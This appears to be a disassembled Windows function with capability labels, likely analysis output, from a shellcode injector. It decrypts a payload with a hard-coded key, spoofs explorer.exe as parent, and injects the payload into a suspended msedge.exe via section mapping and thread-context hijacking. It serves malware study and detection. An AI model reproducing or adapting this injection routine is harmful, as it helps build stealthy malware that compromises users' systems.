Function at 0x14000123e
Capabilities:
Create process on windows
Create process suspended
Resume thread
Spoof parent pid

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1d8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x140], xmm6
mov qword [rbp + 0x138], 0xfffffffffffffffe
mov rdx, qword [section..data]
lea rsi, [rbp - 0x30]
mov rcx, rsi
call fcn.140001e1a
lea rcx, [rbp + 0xc8]
mov rdx, rsi
call fcn.14000108f
lea rcx, [rbp - 0x30]
call fcn.14000251a
lea rdx, str.thisisaeskey1234_
lea r8, [0x14002c7e0]
lea rcx, [rbp - 0x30]
lea r9, [rbp + 0x118]
call fcn.140001e50
lea rcx, [rbp + 0x100]
lea rdx, [rbp + 0xc8]
lea r8, [rbp - 0x30]
call fcn.14000119b
lea rcx, [rbp - 0x30]
call fcn.1400027f0
mov rax, qword [rbp + 0x100]
cmp rax, qword [rbp + 0x108]
je 0x140001536
lea rcx, [0x14003f4c0]
lea rdx, str.Decrypted_shellcode:
call fcn.140001b85
mov rcx, rax
call fcn.140001d8f
lea rcx, [rbp + 0x100]
call fcn.140001203
call section..text
test eax, eax
je 0x140001553
mov ecx, 0x80
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x118], rax
test rax, rax
je 0x140001570
lea r9, [rbp + 0xe0]
and qword [r9], 0
push 1
pop rdx
xor ecx, ecx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
lea rsi, [rbp + 0xe0]
mov rcx, qword [rsi]
call fcn.14000f4b4
push 1
pop r15
mov qword [rbp + 0x130], rax
mov rcx, rax
mov edx, r15d
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x118]
mov r8d, 0x20000
mov rcx, qword [rbp + 0x130]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
push 0x68
pop rcx
call fcn.140005d20
mov rdi, rax
xorps xmm6, xmm6
movaps xmmword [rax], xmm6
movaps xmmword [rax + 0x30], xmm6
movaps xmmword [rax + 0x50], xmm6
movaps xmmword [rax + 0x40], xmm6
and qword [rax + 0x60], 0
movaps xmmword [rax + 0x20], xmm6
movaps xmmword [rax + 0x10], xmm6
mov dword [rax], 0x68
mov dword [rax + 0x3c], 1
push 0x18
pop rcx
call fcn.140005d20
mov rbx, rax
movaps xmmword [rax], xmm6
and qword [rax + 0x10], 0
lea rdx, [0x14002c7e0]
lea rsi, [rbp - 0x30]
mov r8d, 0xe8
mov rcx, rsi
call fcn.14002a0b0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rdi
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplication
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
and dword [rsp + 0x20], 0
lea rcx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400015d8
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r14, rax
test rax, rax
je 0x140001608
lea rdx, str.NtQueryInformationProcess
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rdx, str.NtCreateSection
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, str.NtMapViewOfSection
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xf8], rax
movq xmm0, rsi
movq xmm1, r12
punpcklqdq xmm1, xmm0
movq xmm0, qword [rbp + 0xf8]
movq xmm2, r13
punpcklqdq xmm2, xmm0
pxor xmm0, xmm0
pcmpeqd xmm2, xmm0
pcmpeqd xmm1, xmm0
movdqa xmm0, xmm1
shufps xmm0, xmm2, 0xdd
shufps xmm1, xmm2, 0x88
andps xmm1, xmm0
movmskps eax, xmm1
test eax, eax
je 0x14000163b
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_get_function_addresses._Error:
call fcn.140001b85
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov edx, eax
call fcn.140001e8a
mov rcx, rax
call fcn.140001d8f
jmp 0x1400015a2
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_decrypt_shellcode.
call fcn.140001b85
mov rcx, rax
call fcn.140001d8f
jmp 0x14000159e
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_find_explorer.exe_PID.
call fcn.140001b85
mov rcx, rax
call fcn.140001d8f
jmp 0x14000159e
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_open_explorer.exe_process._Error:
call fcn.140001b85
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov edx, eax
call fcn.140001e8a
mov rcx, rax
call fcn.140001d8f
push 1
pop r15
lea rcx, [rbp + 0x100]
call fcn.1400027f0
lea rcx, [rbp + 0xc8]
call fcn.1400027f0
mov eax, r15d
movaps xmm6, xmmword [rbp + 0x140]
add rsp, 0x1d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_create_process._Error:
call fcn.140001b85
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov edx, eax
call fcn.140001e8a
mov rcx, rax
call fcn.140001d8f
jmp 0x1400015a2
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_load_ntdll.dll._Error:
call fcn.140001b85
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov edx, eax
call fcn.140001e8a
mov rcx, rax
call fcn.140001d8f
jmp 0x1400015a2
mov rax, qword [rbp + 0x108]
sub rax, qword [rbp + 0x100]
lea r9, [rbp + 0xc0]
mov qword [r9], rax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea rcx, [rbp + 0x120]
mov edx, 0xf001f
xor r8d, r8d
call r12
mov esi, eax
test eax, eax
js 0x14000193e
and qword [rbp + 0x128], 0
and qword [rbp + 0xe8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rbp + 0x120]
lea r15, [rbp + 0xe8]
mov qword [rsp + 0x30], r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
and dword [rsp + 0x40], 0
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x38], 1
lea r8, [rbp + 0x128]
mov rdx, rax
xor r9d, r9d
call r13
mov esi, eax
test eax, eax
js 0x140001968
mov rcx, qword [rbp + 0x128]
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x108]
sub r8, rdx
call fcn.14002a0b0
lea r8, [rbp + 0xf0]
and qword [r8], 0
mov rdx, qword [rbx]
mov rcx, qword [rbp + 0x120]
mov qword [rsp + 0x30], r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x48], 0x40
and dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
xor r9d, r9d
call r13
mov esi, eax
test eax, eax
js 0x140001992
lea rcx, [0x14003f4c0]
lea rdx, str.Shellcode_mapped_to_remote_process_at_address:
call fcn.140001b85
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call fcn.1400021a6
mov rcx, rax
call fcn.140001d8f
mov ecx, 0x4d0
call fcn.140005d20
mov r15, rax
mov r8d, 0x4d0
mov rcx, rax
xor edx, edx
call fcn.14002a750
mov dword [r15 + 0x30], 0x100002
mov rcx, qword [rbx + 8]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400019bc
lea rcx, [0x14003f4c0]
lea rdx, str.Thread_context_before_modification:
call fcn.140001b85
mov rcx, rax
call fcn.140001d8f
lea rcx, [0x14003f4c0]
lea rdx, str.RCX:
call fcn.140001b85
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, 0xfffff1ff
and edx, dword [rax + rcx + 0x18]
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rdx, qword [r15 + 0x80]
mov rcx, rax
call fcn.140002336
mov rcx, rax
call fcn.140001d8f
mov rax, qword [rbp + 0xf0]
mov qword [r15 + 0x80], rax
mov rcx, qword [rbx + 8]
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1400019ef
lea rcx, [0x14003f4c0]
lea rdx, str.Thread_context_after_modification:
call fcn.140001b85
mov rcx, rax
call fcn.140001d8f
lea rcx, [0x14003f4c0]
lea rdx, str.RCX:
call fcn.140001b85
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, 0xfffff1ff
and edx, dword [rax + rcx + 0x18]
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rdx, qword [r15 + 0x80]
mov rcx, rax
call fcn.140002336
mov rcx, rax
call fcn.140001d8f
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x140001a22
mov rsi, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rdx, rsi
call qword [rbp + 0xf8]
mov esi, eax
test eax, eax
js 0x140001a55
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rbp + 0x130]
call fcn.14000f4bc
push 0x68
pop rdx
mov rcx, rdi
call fcn.140005d5c
push 0x18
pop rdx
mov rcx, rbx
call fcn.140005d5c
mov edx, 0x4d0
mov rcx, r15
call fcn.140005d5c
xor r15d, r15d
lea rcx, [0x14003f4c0]
lea rdx, str.This_is_the_last_line_of_code
call fcn.140001b85
jmp 0x1400015a2
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_create_section._NTSTATUS:
call fcn.140001b85
mov rcx, rax
mov edx, esi
call fcn.140002018
mov rcx, rax
call fcn.140001d8f
jmp 0x1400015a2
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_map_section_to_local_process._NTSTATUS:
call fcn.140001b85
mov rcx, rax
mov edx, esi
call fcn.140002018
mov rcx, rax
call fcn.140001d8f
jmp 0x14000159e
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_map_section_to_remote_process._NTSTATUS:
call fcn.140001b85
mov rcx, rax
mov edx, esi
call fcn.140002018
mov rcx, rax
call fcn.140001d8f
jmp 0x14000159e
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_get_thread_context._Error:
call fcn.140001b85
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov edx, eax
call fcn.140001e8a
mov rcx, rax
call fcn.140001d8f
jmp 0x14000159e
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_set_thread_context._Error:
call fcn.140001b85
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov edx, eax
call fcn.140001e8a
mov rcx, rax
call fcn.140001d8f
jmp 0x14000159e
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_resume_thread._Error:
call fcn.140001b85
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov edx, eax
call fcn.140001e8a
mov rcx, rax
call fcn.140001d8f
jmp 0x14000159e
lea rcx, [0x14003f390]
lea rdx, str.Failed_to_unmap_section_from_local_process._NTSTATUS:
call fcn.140001b85
mov rcx, rax
mov edx, esi
call fcn.140002018
mov rcx, rax
call fcn.140001d8f
jmp 0x14000159e